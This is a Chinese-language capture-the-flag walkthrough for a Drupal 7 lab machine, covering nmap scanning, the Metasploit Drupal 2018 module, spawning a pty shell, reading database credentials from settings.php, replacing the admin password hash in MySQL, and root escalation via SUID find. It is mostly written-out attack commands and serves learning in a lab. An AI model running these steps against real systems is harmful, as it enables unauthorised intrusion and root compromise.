渗透靶场
本环境重在两个知识点(如下):
Druopal 7 (漏洞利用)
Find (提权)
- 目标:
靶场IP为:XXX.XXX.XXX.XXX/24
- 寻找靶机真实IP
nmap -sP XXX.XXX.XXX.XXX/24
使用 -sP参数 ,ping扫描,不扫描端口。
- 查看端口及服务
nmap -A -p- -v 192.168.184.131
-A 全面扫描
-v IP地址 显示扫描过程
发现开放了22、80、111端口,22端口开放了ssh服务,80端口存在web服务Drupal 7,111端口开放了rpcbind服务。
打开kali中自带的火狐
访问Web站点(靶机IP)
发现是一个电信的drupal服务,根据nmap结果显示得到当前运行的是Drupal 7的CMS
Searchsploit drupal 7
可以在浏览器上搜索相关版本的漏洞
4、利用MSF渗透
msfconsole 进入MSF控制台
search Drupal 搜索drupal模块
5、选择模块进行测试
这里我们使用2018这一模块
use 1 使用2018模块
设置靶机IP运行MSF
show options 查看信息
set rhosts 靶机IP
run 进行攻击
在linux中有很多类型的shell,不同的shell具备不同的功能,shell还决定了脚本中函数的语法,Linux中默认的shell是/bash/bash,流行的shell有ash、bash、ksh、csh、zsh等,不同的shell都有自己的特点以及用途
Linux中whoami命令用于显示用户名称
可以看到www-data权限
进入home目录下,发现了flag4.txt
这里提示我们需要提升下权限
- 使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
显示出当前的文件路径
- 发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开后内容翻译如下
cd /var/www 回到www目录下
ls 查看目录下的文件
cat flag1.txt 查看flag1.txt文件内容
发现flag2文件
drupal的默认配置文件为 /var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
可以看到flag2中数据库的账号密码
'username' => 'dbuser',
'password' => 'R0ck3t',
mysql -u dbuser -p
切换到dbuser数据库,输入密码(R0ck3t)
show databases; (查看数据库)
use drupaldb
show tables; (查看drupaldb中的表)
查看默认的drupal user表
select * from users;
可以看到admin的信息
密码是乱码,可以通过置换drupal密码来解决
输入quit;/ exit;(二者都可以)
退回到www目录下
php scripts/password-hash.sh 321(密码根据自身自定义)
进入数据库把密码字段进行替换,进入mysql,输入密码切换到drupaldb数据库
mysql -u dbuser -pR0ck3t
use drupaldb
将 pass字段进行替换
update users set pass="$S$DMjkpFCtara55Q7ySPYqDsKSp5f0bQBBTQn4NjgnuiaKXmjdc8OK" where name="admin";
替换完成后访问Web站点登录
账号:admin
密码是我们自己替换的
admin
321
成功登陆进去后随便翻一翻
发现了flag3,点击flag3后发现提示信息大致意思如下
提权并提示-exec,想到suid提权find命令
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。
假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
利用此特性,就可通过suid进行提权。
退回到www目录下
find / -perm -4000 2>/dev/null
发现find命令
用命令测试,可发现为root权限
touch 321
ls
find / -name 321 -exec "whoami" \;
发现最后的flag文件
切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find ./ -name 321 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件
cat thefinalflag.txt
内容意思如下:
发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd